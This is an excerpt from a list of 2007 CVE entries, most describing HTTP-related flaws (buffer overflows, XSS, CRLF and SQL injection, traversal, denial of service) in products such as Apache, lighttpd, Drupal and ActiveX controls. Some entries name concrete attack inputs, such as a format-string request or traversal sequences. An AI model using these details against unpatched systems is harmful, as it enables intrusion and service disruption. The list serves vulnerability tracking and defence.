12639| [CVE-2007-5712] The internationalization (i18n) framework in Django 0.91, 0.95, 0.95.1, and 0.96, and as used in other products such as PyLucid, when the USE_I18N option and the i18n component are enabled, allows remote attackers to cause a denial of service (memory consumption) via many HTTP requests with large Accept-Language headers.
12640| [CVE-2007-5685] The safe_path function in shttp before 0.0.5 allows remote attackers to conduct directory traversal attacks and read files via a combination of ".." and sub-directory specifiers that resolve to a pathname that is at or below the same level as the web document root, but in a different part of the directory tree.
12641| [CVE-2007-5615] CRLF injection vulnerability in Mortbay Jetty before 6.1.6rc0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12642| [CVE-2007-5600] Incomplete blacklist vulnerability in index.php in Artmedic CMS 3.4 and earlier allows remote attackers to execute arbitrary PHP code via a (1) UNC share pathname, or a (2) ftps, (3) ssh2.sftp, or (4) ssh2.scp URL, in the page parameter, for which PHP remote file inclusion is blocked only for http, https, and ftp URLs.
12643| [CVE-2007-5595] CRLF injection vulnerability in the drupal_goto function in includes/common.inc Drupal 4.7.x before 4.7.8 and 5.x before 5.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
12644| [CVE-2007-5570] Cisco Firewall Services Module (FWSM) 3.2(1), and 3.1(5) and earlier, allows remote attackers to cause a denial of service (device reload) via a crafted HTTPS request, aka CSCsi77844.
12645| [CVE-2007-5561] Format string vulnerability in the logging function in the Oracle OPMN daemon, as used on Oracle Enterprise Grid Console server 10.2.0.1, allows remote attackers to execute arbitrary code via format string specifiers in the URI in an HTTP request to port 6003, aka Oracle reference number 6296175. NOTE: this might be the same issue as CVE-2007-0282 or CVE-2007-0280, but there are insufficient details to be sure.
12646| [CVE-2007-5560] Heap-based buffer overflow in the Juniper HTTP Service allows remote attackers to execute arbitrary code via a crafted HTTP packet. NOTE: as of 20071016, the only disclosure is a vague pre-advisory with no actionable information. However, since it is from a well-known researcher, it is being assigned a CVE identifier for tracking purposes.
12647| [CVE-2007-5559] Heap-based buffer overflow in the IBM ThinkVantage TPM Service allows remote attackers to execute arbitrary code via a crafted HTTP packet. NOTE: as of 20071016, the only disclosure is a vague pre-advisory with no actionable information. However, since it is from a well-known researcher, it is being assigned a CVE identifier for tracking purposes.
12648| [CVE-2007-5558] Integer overflow in the LG Mobile handset allows remote attackers to cause a denial of service (reboot) via a crafted HTTP packet. NOTE: as of 20071016, the only disclosure is a vague pre-advisory with no actionable information. However, since it is from a well-known researcher, it is being assigned a CVE identifier for tracking purposes.
12649| [CVE-2007-5518] Unspecified vulnerability in the Oracle HTTP Server component in Oracle Application Server 10.1.3.2 has unknown impact and remote attack vectors, aka AS03.
12650| [CVE-2007-5494] Memory leak in the Red Hat Content Accelerator kernel patch in Red Hat Enterprise Linux (RHEL) 4 and 5 allows local users to cause a denial of service (memory consumption) via a large number of open requests involving O_ATOMICLOOKUP.
12651| [CVE-2007-5437] The web console in CA (formerly Computer Associates) eTrust ITM (Threat Manager) 8.1 allows remote attackers to redirect users to arbitrary web sites via a crafted HTTP URL on port 6689.
12652| [CVE-2007-5413] httpd.tkd in Radia Integration Server in Hewlett-Packard (HP) OpenView Configuration Management (CM) Infrastructure 4.0 through 4.2i and Client Configuration Manager (CCM) 2.0 allows remote attackers to read arbitrary files via URLs containing tilde (~) references to home directories, as demonstrated by ~root.
12653| [CVE-2007-5384] Multiple cross-site request forgery (CSRF) vulnerabilities in the Thomson/Alcatel SpeedTouch 7G router, as used for the BT Home Hub 6.2.6.B and earlier, allow remote attackers to perform actions as administrators via unspecified POST requests, as demonstrated by enabling an inbound remote-assistance HTTPS session on TCP port 51003. NOTE: an authentication bypass can be leveraged to exploit this in the absence of an existing administrative session. NOTE: SpeedTouch 780 might also be affected by some of these issues.
12654| [CVE-2007-5273] Sun Java Runtime Environment (JRE) in JDK and JRE 6 Update 2 and earlier, JDK and JRE 5.0 Update 12 and earlier, SDK and JRE 1.4.2_15 and earlier, and SDK and JRE 1.3.1_20 and earlier, when an HTTP proxy server is used, allows remote attackers to violate the security model for an applet's outbound connections via a multi-pin DNS rebinding attack in which the applet download relies on DNS resolution on the proxy server, but the applet's socket operations rely on DNS resolution on the local machine, a different issue than CVE-2007-5274. NOTE: this is similar to CVE-2007-5232.
12655| [CVE-2007-5222] SQL injection vulnerability in index.php in MAXdev MDPro (MD-Pro) 1.0.76 allows remote attackers to execute arbitrary SQL commands via a "Firefox ID=" substring in a Referer HTTP header.
12656| [CVE-2007-5209] Stack-based buffer overflow in DriveLock.exe in CenterTools DriveLock 5.0 allows remote attackers to execute arbitrary code via a long HTTP request to TCP port 6061. NOTE: the provenance of this information is unknown
12657| [CVE-2007-5198] Buffer overflow in the redir function in check_http.c in Nagios Plugins before 1.4.10, when running with the -f (follow) option, allows remote web servers to execute arbitrary code via Location header responses (redirects) with a large number of leading "L" characters.
12658| [CVE-2007-5162] The connect method in lib/net/http.rb in the (1) Net::HTTP and (2) Net::HTTPS libraries in Ruby 1.8.5 and 1.8.6 does not verify that the commonName (CN) field in a server certificate matches the domain name in an HTTPS request, which makes it easier for remote attackers to intercept SSL transmissions via a man-in-the-middle attack or spoofed web site.
12659| [CVE-2007-5156] Incomplete blacklist vulnerability in editor/filemanager/upload/php/upload.php in FCKeditor, as used in SiteX CMS 0.7.3.beta, La-Nai CMS, Syntax CMS, Cardinal Cms, and probably other products, allows remote attackers to upload and execute arbitrary PHP code via a file whose name contains ".php." and has an unknown extension, which is recognized as a .php file by the Apache HTTP server, a different vulnerability than CVE-2006-0658 and CVE-2006-2529.
12660| [CVE-2007-5036] Multiple buffer overflows in the AirDefense Airsensor M520 with firmware 4.3.1.1 and 4.4.1.4 allow remote authenticated users to cause a denial of service (HTTPS service outage) via a crafted query string in an HTTPS request to (1) adLog.cgi, (2) post.cgi, or (3) ad.cgi, related to the "files filter."
12661| [CVE-2007-5034] ELinks before 0.11.3, when sending a POST request for an https URL, appends the body and content headers of the POST request to the CONNECT request in cleartext, which allows remote attackers to sniff sensitive data that would have been protected by TLS. NOTE: this issue only occurs when a proxy is defined for https.
12662| [CVE-2007-5000] Cross-site scripting (XSS) vulnerability in the (1) mod_imap module in the Apache HTTP Server 1.3.0 through 1.3.39 and 2.0.35 through 2.0.61 and the (2) mod_imagemap module in the Apache HTTP Server 2.2.0 through 2.2.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12663| [CVE-2007-4980] The readRequest method in org/gcaldaemon/core/http/HTTPListener.java in GCALDaemon 1.0-beta13 allows remote attackers to cause a denial of service via a large integer value in the Content-Length HTTP header, which triggers a fatal Java OutOfMemoryError.
12664| [CVE-2007-4915] The Intersil isl3893 extensions for Boa 0.93.15, as used on the FreeLan RO80211G-AP and other devices, do not prevent stack writes from entering memory locations used for string constants, which allows remote attackers to change the admin password stored in memory via a long username in an HTTP Basic Authentication request.
12665| [CVE-2007-4909] Interpretation conflict in WinSCP before 4.0.4 allows remote attackers to perform arbitrary file transfers with a remote server via file-transfer commands in the final portion of a (1) scp, and possibly a (2) sftp or (3) ftp, URL, as demonstrated by a URL specifying login to the remote server with a username of scp, which is interpreted as an HTTP scheme name by the protocol handler in a web browser, but is interpreted as a username by WinSCP. NOTE: this is related to an incomplete fix for CVE-2006-3015.
12666| [CVE-2007-4886] Incomplete blacklist vulnerability in index.php in AuraCMS 1.x and probably 2.x allows remote attackers to execute arbitrary PHP code via a (1) UNC share pathname, or a (2) ftp, (3) ftps, or (4) ssh2.sftp URL, in the pilih parameter, for which PHP remote file inclusion is blocked only for http URLs.
12667| [CVE-2007-4880] Buffer overflow in the Client Acceptor Daemon (CAD), dsmcad.exe, in certain IBM Tivoli Storage Manager (TSM) clients 5.1 before 5.1.8.1, 5.2 before 5.2.5.2, 5.3 before 5.3.5.3, and 5.4 before 5.4.1.2 allows remote attackers to execute arbitrary code via crafted HTTP headers, aka IC52905.
12668| [CVE-2007-4822] Cross-site request forgery (CSRF) vulnerability in the device management interface in Buffalo AirStation WHR-G54S 1.20 allows remote attackers to make configuration changes as an administrator via HTTP requests to certain HTML pages in the res parameter with an inp req parameter to cgi-bin/cgi, as demonstrated by accessing (1) ap.html and (2) filter_ip.html.
12669| [CVE-2007-4821] Buffer overflow in a certain ActiveX control in officeviewer.ocx 5.2.218.1 in EDraw Office Viewer Component 5.2 allows remote attackers to execute arbitrary code via a long first argument to the HttpDownloadFileToTempDir method, a different vulnerability than CVE-2007-3169.
12670| [CVE-2007-4727] Buffer overflow in the fcgi_env_add function in mod_proxy_backend_fastcgi.c in the mod_fastcgi extension in lighttpd before 1.4.18 allows remote attackers to overwrite arbitrary CGI variables and execute arbitrary code via an HTTP request with a long content length, as demonstrated by overwriting the SCRIPT_FILENAME variable, aka a "header overflow."
12671| [CVE-2007-4723] Directory traversal vulnerability in Ragnarok Online Control Panel 4.3.4a, when the Apache HTTP Server is used, allows remote attackers to bypass authentication via directory traversal sequences in a URI that ends with the name of a publicly available page, as demonstrated by a "/...../" sequence and an account_manage.php/login.php final component for reaching the protected account_manage.php page.
12672| [CVE-2007-4709] Directory traversal vulnerability in CFNetwork in Apple Mac OS X 10.5.1 allows remote attackers to overwrite arbitrary files via a crafted HTTP response.
12673| [CVE-2007-4692] The tabbed browsing feature in Apple Safari 3 before Beta Update 3.0.4 on Windows, and Mac OS X 10.4 through 10.4.10, allows remote attackers to spoof HTTP authentication for other sites and possibly conduct phishing attacks by causing an authentication sheet to be displayed for a tab that is not active, which makes it appear as if it is associated with the active tab.
12674| [CVE-2007-4671] Unspecified vulnerability in Safari in Apple iPhone 1.1.1, and Safari 3 before Beta Update 3.0.4 on Windows and Mac OS X 10.4 through 10.4.10, allows remote attackers to "alter or access" HTTPS content via an HTTP session with a crafted web page that causes Javascript to be applied to HTTPS pages from the same domain.
12675| [CVE-2007-4625] Polipo before 1.0.2 allows remote HTTP servers to cause a denial of service (daemon crash) by aborting the response to a POST request.
12676| [CVE-2007-4618] Unspecified vulnerability in BEA WebLogic Server 6.1 Gold through SP7 and 7.0 Gold through SP7 allows remote attackers to cause a denial of service (disk consumption) via certain malformed HTTP headers.
12677| [CVE-2007-4540] Multiple SQL injection vulnerabilities in download.php in Olate Download (od) 3.4.2 allow remote attackers to execute arbitrary SQL commands via the (1) HTTP_REFERER or (2) HTTP_USER_AGENT HTTP header.
12678| [CVE-2007-4477] The administration interface in the Planet VC-200M VDSL2 router allows remote attackers to cause a denial of service (administration interface outage) via an HTTP request without a Host header.
12679| [CVE-2007-4471] Multiple unspecified vulnerabilities in the Intuit QuickBooks Online Edition ActiveX control before 10 allow remote attackers to create or overwrite arbitrary files via unspecified arguments to the (1) httpGETToFile, (2) httpPOSTFromFile, and possibly other methods, probably involving path traversal vulnerabilities in exposed dangerous methods. NOTE: this can be leveraged for code execution by writing to a Startup folder.
12680| [CVE-2007-4465] Cross-site scripting (XSS) vulnerability in mod_autoindex.c in the Apache HTTP Server before 2.2.6, when the charset on a server-generated page is not defined, allows remote attackers to inject arbitrary web script or HTML via the P parameter using the UTF-7 charset. NOTE: it could be argued that this issue is due to a design limitation of browsers that attempt to perform automatic content type detection.
12681| [CVE-2007-4420] Absolute path traversal vulnerability in a certain ActiveX control in officeviewer.ocx 5.1.199.1 in EDraw Office Viewer Component 5.1 allows remote attackers to create or overwrite arbitrary files via a full pathname in the second argument to the HttpDownloadFile method, a different vulnerability than CVE-2007-3168 and CVE-2007-3169.
12682| [CVE-2007-4348] Cross-site scripting (XSS) vulnerability in the CAD service in IBM Tivoli Storage Manager (TSM) Client 5.3.5.3 and 5.4.1.2 for Windows allows remote attackers to inject arbitrary web script or HTML via HTTP requests to port 1581, which generate log entries in a dsmerror.log file that is accessible through a certain web interface.
12683| [CVE-2007-4337] Multiple buffer overflows in the httplib_parse_sc_header function in lib/http.c in Streamripper before 1.62.2 allow remote attackers to execute arbitrary code via long (1) Location and (2) Server HTTP headers, a different vulnerability than CVE-2006-3124.
12684| [CVE-2007-4225] Visual truncation vulnerability in KDE Konqueror 3.5.7 allows remote attackers to spoof the URL address bar via an http URI with a large amount of whitespace in the user/password portion.
12685| [CVE-2007-4190] CRLF injection vulnerability in Joomla! before 1.0.13 (aka Sunglow) allows remote attackers to inject arbitrary HTTP headers and probably conduct HTTP response splitting attacks via CRLF sequences in the url parameter. NOTE: this can be leveraged for cross-site scripting (XSS) attacks. NOTE: some of these details are obtained from third party information.
12686| [CVE-2007-4181] ** DISPUTED ** PHP remote file inclusion vulnerability in data/inc/theme.php in Pluck 4.3, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the dir parameter. NOTE: A reliable third party disputes this vulnerability because the applicable include is within a function that does not receive the dir parameter from an HTTP request.
12687| [CVE-2007-4174] Tor before 0.1.2.16, when ControlPort is enabled, does not properly restrict commands to localhost port 9051, which allows remote attackers to modify the torrc configuration file, compromise anonymity, and have other unspecified impact via HTTP POST data containing commands without valid authentication, as demonstrated by an HTML form (1) hosted on a web site or (2) injected by a Tor exit node.
12688| [CVE-2007-4164] CRLF injection vulnerability in the redirect feature in Sun Java System Web Server 6.1 and 7.0 before 20070802, when the redirect Server Application Function (SAF) uses the url-prefix parameter and escape is disabled, or an Error directive uses the url-prefix parameter in obj.conf, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks.
12689| [CVE-2007-4159] index.html in the HTTP administration interface in certain daemons in TIBCO Rendezvous (RV) 7.5.2 allows remote attackers to obtain sensitive information, such as a user name and IP addresses, via a direct request.
12690| [CVE-2007-4063] Multiple cross-site request forgery (CSRF) vulnerabilities in Drupal 5.x before 5.2 allow remote attackers to (1) delete comments, (2) delete content revisions, and (3) disable menu items as privileged users, related to improper use of HTTP GET and the Forms API.
12691| [CVE-2007-4060] Multiple buffer overflows in the HttpSprockMake function in http.c in Frank Yaul corehttp 0.5.3alpha allow remote attackers to execute arbitrary code via a long string in the (1) method name or (2) URI in an HTTP request.
12692| [CVE-2007-3950] lighttpd 1.4.15, when run on 32 bit platforms, allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors involving the use of incompatible format specifiers in certain debugging messages in the (1) mod_scgi, (2) mod_fastcgi, and (3) mod_webdav modules.
12693| [CVE-2007-3949] mod_access.c in lighttpd 1.4.15 ignores trailing / (slash) characters in the URL, which allows remote attackers to bypass url.access-deny settings.
12694| [CVE-2007-3948] connections.c in lighttpd before 1.4.16 might accept more connections than the configured maximum, which allows remote attackers to cause a denial of service (failed assertion) via a large number of connection attempts.
12695| [CVE-2007-3947] request.c in lighttpd 1.4.15 allows remote attackers to cause a denial of service (daemon crash) by sending an HTTP request with duplicate headers, as demonstrated by a request containing two Location header lines, which results in a segmentation fault.
12696| [CVE-2007-3946] mod_auth (http_auth.c) in lighttpd before 1.4.16 allows remote attackers to cause a denial of service (daemon crash) via unspecified vectors involving (1) a memory leak, (2) use of md5-sess without a cnonce, (3) base64 encoded strings, and (4) trailing whitespace in the Auth-Digest header.
12697| [CVE-2007-3911] Multiple heap-based buffer overflows in (1) clsscheduler.exe (aka scheduler client) and (2) srvscheduler.exe (aka scheduler server) in BakBone NetVault Reporter 3.5 before Update4 allow remote attackers to execute arbitrary code via long filename arguments in HTTP requests.
12698| [CVE-2007-3804] The AntiVirus engine in the HTTP-ALG in Clavister CorePlus before 8.81.00 and 8.80.03 might allow remote attackers to bypass scanning via small files.
12699| [CVE-2007-3796] The password reset feature in the Spam Quarantine HTTP interface for MailMarshal SMTP 6.2.0.x before 6.2.1 allows remote attackers to modify arbitrary account information via a UserId variable with a large amount of trailing whitespace followed by a malicious value, which triggers SQL buffer truncation due to length inconsistencies between variables.
12700| [CVE-2007-3709] CRLF injection vulnerability in the redirect function in url_helper.php in CodeIgniter 1.5.3 allows remote attackers to inject arbitrary HTTP headers via CRLF sequences in an unspecified parameter, as demonstrated by a Set-Cookie header.
12701| [CVE-2007-3686] CRLF injection vulnerability in db.php in Unobtrusive Ajax Star Rating Bar before 1.2.0 allows remote attackers to inject arbitrary HTTP headers and data via CRLF sequences in the HTTP_REFERER parameter.
12702| [CVE-2007-3656] Mozilla Firefox before 1.8.0.13 and 1.8.1.x before 1.8.1.5 does not perform a security zone check when processing a wyciwyg URI, which allows remote attackers to obtain sensitive information, poison the browser cache, and possibly enable further attack vectors via (1) HTTP 302 redirect controls, (2) XMLHttpRequest, or (3) view-source URIs.
12703| [CVE-2007-3639] WordPress before 2.2.2 allows remote attackers to redirect visitors to other websites and potentially obtain sensitive information via (1) the _wp_http_referer parameter to wp-pass.php, related to the wp_get_referer function in wp-includes/functions.php
12704| [CVE-2007-3624] Heap-based buffer overflow in the Message HTTP Server in SAP Message Server allows remote attackers to execute arbitrary code via a long string in the group parameter to /msgserver/html/group.
12705| [CVE-2007-3623] Cross-site scripting (XSS) vulnerability in the Hitachi JP1/HiCommand Device Manager, Tiered Storage Manager, Replication Monitor, and GlobalLink Availability Manager before 20070528 allows remote attackers to inject arbitrary web script or HTML via the Expect HTTP header.
12706| [CVE-2007-3614] Multiple stack-based buffer overflows in waHTTP.exe (aka the SAP DB Web Server) in SAP DB, possibly 7.3 through 7.5, allow remote attackers to execute arbitrary code via (1) a certain cookie value
12707| [CVE-2007-3571] The Apache Web Server as used in Novell NetWare 6.5 and GroupWise allows remote attackers to obtain sensitive information via a certain directive to Apache that causes the HTTP-Header response to be modified, which may reveal the server's internal IP address.
12708| [CVE-2007-3570] The Linux Access Gateway in Novell Access Manager before 3.0 SP1 Release Candidate 1 (RC1) allows remote attackers to bypass unspecified security controls via Fullwidth/Halfwidth Unicode encoded data in a HTTP POST request.
12709| [CVE-2007-3567] MySQLDumper 1.21b through 1.23 REV227 uses a "Limit GET" statement in the .htaccess authentication mechanism, which allows remote attackers to bypass authentication requirements via HTTP POST requests.
12710| [CVE-2007-3541] Cross-site scripting (XSS) vulnerability in Kurinton sHTTPd 20070408 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12711| [CVE-2007-3496] Cross-site scripting (XSS) vulnerability in SAP Web Dynpro Java (BC-WD-JAV) in SAP NetWeaver Nw04 SP15 through SP19 and Nw04s SP7 through SP11, aka SAP Java Technology Services 640 before SP20 and SAP Web Dynpro Runtime Core Components 700 before SP12, allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header.
12712| [CVE-2007-3457] Adobe Flash Player 8.0.34.0 and earlier insufficiently validates HTTP Referer headers, which might allow remote attackers to conduct a CSRF attack via a crafted SWF file.
12713| [CVE-2007-3407] Sergey Lyubka Simple HTTPD (shttpd) 1.38 allows remote attackers to obtain sensitive information (script source code) via a URL with a trailing encoded space (%20).
12714| [CVE-2007-3389] Wireshark before 0.99.6 allows remote attackers to cause a denial of service (crash) via a crafted chunked encoding in an HTTP response, possibly related to a zero-length payload.
12715| [CVE-2007-3368] Buffer overflow in the HTTP server on the Polycom SoundPoint IP 601 SIP phone with BootROM 3.0.x+ allows remote attackers to cause a denial of service (device reboot) via a malformed CGI parameter.
12716| [CVE-2007-3343] Cross-site scripting (XSS) vulnerability in RaidenHTTPD before 2.0.14 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
12717| [CVE-2007-3340] BugHunter HTTP SERVER (httpsv.exe) 1.6.2 allows remote attackers to cause a denial of service (application crash) via a large number of requests for nonexistent pages.
12718| [CVE-2007-3327] httpsv.exe in HTTP Server 1.6.2 allows remote attackers to obtain sensitive information (script source code) via a URI with a trailing %20 (encoded space).
12719| [CVE-2007-3307] SQL injection vulnerability in game_listing.php in Solar Empire 2.9.1.1 and earlier allows remote attackers to execute arbitrary SQL commands via the User-Agent HTTP header.
12720| [CVE-2007-3304] Apache httpd 1.3.37, 2.0.59, and 2.2.4 with the Prefork MPM module, allows local users to cause a denial of service by modifying the worker_score and process_score arrays to reference an arbitrary process ID, which is sent a SIGUSR1 signal from the master process, aka "SIGUSR1 killer."
12721| [CVE-2007-3303] Apache httpd 2.0.59 and 2.2.4, with the Prefork MPM module, allows local users to cause a denial of service via certain code sequences executed in a worker process that (1) stop request processing by killing all worker processes and preventing creation of replacements or (2) hang the system by forcing the master process to fork an arbitrarily large number of worker processes. NOTE: This might be an inherent design limitation of Apache with respect to worker processes in hosted environments.
12722| [CVE-2007-3288] Cross-site scripting (XSS) vulnerability in the skeltoac stats (Automattic Stats) 1.0 plugin for WordPress allows remote attackers to inject arbitrary web script or HTML via the HTTP Referer field.
12723| [CVE-2007-3256] Xythos Enterprise Document Manager (XEDM), Digital Locker (XDL), and possibly WebFile Server before 6.0.46.1 allow remote authenticated users to associate arbitrary Content-Type HTTP headers with documents, which might facilitate malware distribution.
12724| [CVE-2007-3255] Multiple cross-site request forgery (CSRF) vulnerabilities in Xythos Enterprise Document Manager (XEDM) before 5.0.25.8, and 6.x before 6.0.46.1, allow remote authenticated users to execute commands as arbitrary users via (1) a saved Workflow name or (2) the Content-Type HTTP header. NOTE: item 2 also affects the same version numbers of Xythos Digital Locker (XDL). One or both vectors might also affect Xythos WebFile Server.
12725| [CVE-2007-3169] Buffer overflow in a certain ActiveX control in the EDraw Office Viewer Component (edrawofficeviewer.ocx) 4.0.5.20, and other versions before 5.0, allows remote attackers to cause a denial of service (Internet Explorer 7 crash) or execute arbitrary code via a long first argument to the HttpDownloadFile method.
12726| [CVE-2007-3164] Microsoft Internet Explorer 7, when prompting for HTTP Basic Authentication for an IDN web site, uses ACE labels for the domain name in the status bar, but uses internationalized labels for this name in the authentication dialog, which might allow remote attackers to perform phishing attacks if the user misinterprets confusable characters in the internationalized labels, as demonstrated by displaying xn--theshmogroup-bgk.com only in the status bar.
12727| [CVE-2007-3162] Buffer overflow in the NotSafe function in the idaiehlp ActiveX control in idaiehlp.dll 1.9.1.74 in Internet Download Accelerator (ida) 5.2 allows remote attackers to cause a denial of service (Internet Explorer crash) via a long argument.
12728| [CVE-2007-3159] http.c in MiniWeb Http Server 0.8.x allows remote attackers to cause a denial of service (application crash) via a negative value in the Content-Length HTTP header.
12729| [CVE-2007-3150] Google Desktop allows user-assisted remote attackers to execute arbitrary programs via a man-in-the-middle attack that injects JavaScript, a www.google.com search IFRAME, and a META HTTP-EQUIV="refresh" that targets a www.google.com search for a local .exe file, which is displayed in the "results stored on your computer" portion of the search results, and when clicked invokes Google Desktop to execute this file.
12730| [CVE-2007-3145] Visual truncation vulnerability in Galeon 2.0.1 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
12731| [CVE-2007-3144] Visual truncation vulnerability in Mozilla 1.7.12 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
12732| [CVE-2007-3143] Visual truncation vulnerability in Konqueror 3.5.5 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after a certain number of characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
12733| [CVE-2007-3142] Visual truncation vulnerability in Opera 9.21 allows remote attackers to spoof the address bar and possibly conduct phishing attacks via a long hostname, which is truncated after 34 characters, as demonstrated by a phishing attack using HTTP Basic Authentication.
12734| [CVE-2007-3117] Cross-site scripting (XSS) vulnerability in the SEO module in ADPLAN 3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors related to HTTP headers.
12735| [CVE-2007-3009] Format string vulnerability in the MprLogToFile::logEvent function in Mbedthis AppWeb 2.0.5-4, when the build supports logging but the configuration disables logging, allows remote attackers to cause a denial of service (daemon crash) via format string specifiers in the HTTP scheme, as demonstrated by a "GET %n://localhost:80/" request.
12736| [CVE-2007-3008] Mbedthis AppWeb before 2.2.2 enables the HTTP TRACE method, which has unspecified impact probably related to remote information leaks and cross-site tracing (XST) attacks, a related issue to CVE-2004-2320 and CVE-2005-3398.
12737| [CVE-2007-2952] Multiple stack-based buffer overflows in the filter service (aka k9filter.exe) in Blue Coat K9 Web Protection 3.2.44 with Filter 3.2.32 allow (1) remote attackers to execute arbitrary code via a long HTTP Referer header to the K9 Web Protection Administration interface and (2) man-in-the-middle attackers to execute arbitrary code via an HTTP response with a long HTTP version field.
12738| [CVE-2007-2907] Unspecified vulnerability in SSL-Explorer before 0.2.13 allows remote authenticated users to enter redirect URLs containing (1) JavaScript or (2) HTTP headers via an unspecified vector, possibly the forwardTo parameter to redirect.do. NOTE: the impact might be cross-site scripting (XSS) or HTTP request smuggling.
12739| [CVE-2007-2734] The 3Com TippingPoint IPS do not properly handle certain full-width and half-width Unicode character encodings in an HTTP POST request, which might allow remote attackers to evade detection of HTTP traffic.
12740| [CVE-2007-2695] The HttpClusterServlet and HttpProxyServlet in BEA WebLogic Express and WebLogic Server 6.1 through SP7, 7.0 through SP7, 8.1 through SP5, 9.0, and 9.1, when SecureProxy is enabled, may process "external requests on behalf of a system identity," which allows remote attackers to access administrative data or functionality.
12741| [CVE-2007-2690] Multiple IBM ISS Proventia Series products, including the A, G, and M series, do not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic.
12742| [CVE-2007-2689] Check Point Web Intelligence does not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic.
12743| [CVE-2007-2688] The Cisco Intrusion Prevention System (IPS) and IOS with Firewall/IPS Feature Set do not properly handle certain full-width and half-width Unicode character encodings, which might allow remote attackers to evade detection of HTTP traffic.
12744| [CVE-2007-2635] Unspecified vulnerability in Interchange before 5.4.2 allows remote attackers to cause an unspecified denial of service (possibly server hang) via crafted HTTP requests.
12745| [CVE-2007-2618] CRLF injection vulnerability in index.php in Drake CMS 0.4.0 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in the lang parameter. NOTE: Drake CMS has only a beta version available, and the vendor has previously stated "We do not consider security reports valid until the first official release of Drake CMS."
12746| [CVE-2007-2588] Multiple buffer overflows in the Office Viewer OCX ActiveX control (oa.ocx) 3.2 allow remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long argument to the (1) HttpDownloadFile, (2) Open, (3) OpenWebFile, (4) DoOleCommand, (5) FTPDownloadFile, (6) FTPUploadFile, (7) HttpUploadFile, (8) Save, or (9) SaveWebFile function.
12747| [CVE-2007-2563] Buffer overflow in the AddFile function in VersalSoft HTTP File Upload ActiveX control (UFileUploaderD.dll) allows remote attackers to execute arbitrary code via a long argument.
12748| [CVE-2007-2556] SQL injection vulnerability in Nuked-klaN 1.7.6 allows remote attackers to execute arbitrary SQL commands via the X-Forwarded-For (X_FORWARDED_FOR) HTTP header, as demonstrated by a request to the /nk/ URI.
12749| [CVE-2007-2555] Unspecified vulnerability in Default.aspx in Podium CMS allows remote attackers to have an unknown impact, possibly session fixation, via a META HTTP-EQUIV Set-cookie expression in the id parameter, related to "cookie manipulation." NOTE: this issue might be cross-site scripting (XSS).
12750| [CVE-2007-2550] Multiple CRLF injection vulnerabilities in Devellion CubeCart 3.0.15 allow remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in a cookie name beginning with "ccSID" to (1) cart.php or (2) index.php.
12751| [CVE-2007-2537] Multiple SQL injection vulnerabilities in mainfile.php in NPDS 5.10 and earlier allow remote authenticated users to execute arbitrary SQL commands via a (1) nickname or (2) Id in a cookie, or (3) the X-Forwarded-For (X_FORWARDED_FOR) HTTP header.
12752| [CVE-2007-2510] Buffer overflow in the make_http_soap_request function in PHP before 5.2.2 has unknown impact and remote attack vectors, possibly related to "/" (slash) characters.
12753| [CVE-2007-2496] The WordOCX ActiveX control in WordViewer.ocx 3.2.0.5 allows remote attackers to cause a denial of service (Internet Explorer 7 crash) via a long (1) DoOleCommand, (2) FTPDownloadFile, (3) FTPUploadFile, (4) HttpUploadFile, (5) GotoPage, (6) Save, (7) SaveWebFile, (8) HttpDownloadFile, (9) Open, (10) OpenWebFile, (11) SaveAs, or (12) ShowWordStandardDialog property value.
12754| [CVE-2007-2495] Multiple stack-based buffer overflows in the ExcelOCX ActiveX control in ExcelViewer.ocx 3.1.0.6 allow remote attackers to cause a denial of service (Internet Explorer 7 crash) via a long (1) DoOleCommand, (2) FTPDownloadFile, (3) FTPUploadFile, (4) HttpUploadFile, (5) Save, (6) SaveWebFile, (7) HttpDownloadFile, (8) Open, or (9) OpenWebFile property value. NOTE: some of these details are obtained from third party information.
12755| [CVE-2007-2494] Multiple stack-based buffer overflows in the PowerPointOCX ActiveX control in PowerPointViewer.ocx 3.1.0.3 allow remote attackers to cause a denial of service (Internet Explorer 7 crash) via a long (1) DoOleCommand, (2) FTPDownloadFile, (3) FTPUploadFile, (4) HttpUploadFile, (5) Save, (6) SaveWebFile, (7) HttpDownloadFile, (8) Open, or (9) OpenWebFile property value. NOTE: some of these details are obtained from third party information.
12756| [CVE-2007-2404] CRLF injection vulnerability in CFNetwork on Apple Mac OS X 10.3.9 and 10.4.10 before 20070731 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via CRLF sequences in an unspecified context. NOTE: this can be leveraged for cross-site scripting (XSS) attacks.
12757| [CVE-2007-2401] CRLF injection vulnerability in WebCore in Apple Mac OS X 10.3.9, 10.4.9 and later, and iPhone before 1.0.1, allows remote attackers to inject arbitrary HTTP headers via LF characters in an XMLHttpRequest request, which are not filtered when serializing headers via the setRequestHeader function. NOTE: this issue can be leveraged for cross-site scripting (XSS) attacks.
12758| [CVE-2007-2400] Race condition in Apple Safari 3 Beta before 3.0.2 on Mac OS X, Windows XP, Windows Vista, and iPhone before 1.0.1, allows remote attackers to bypass the JavaScript security model and modify pages outside of the security domain and conduct cross-site scripting (XSS) attacks via vectors related to page updating and HTTP redirects.
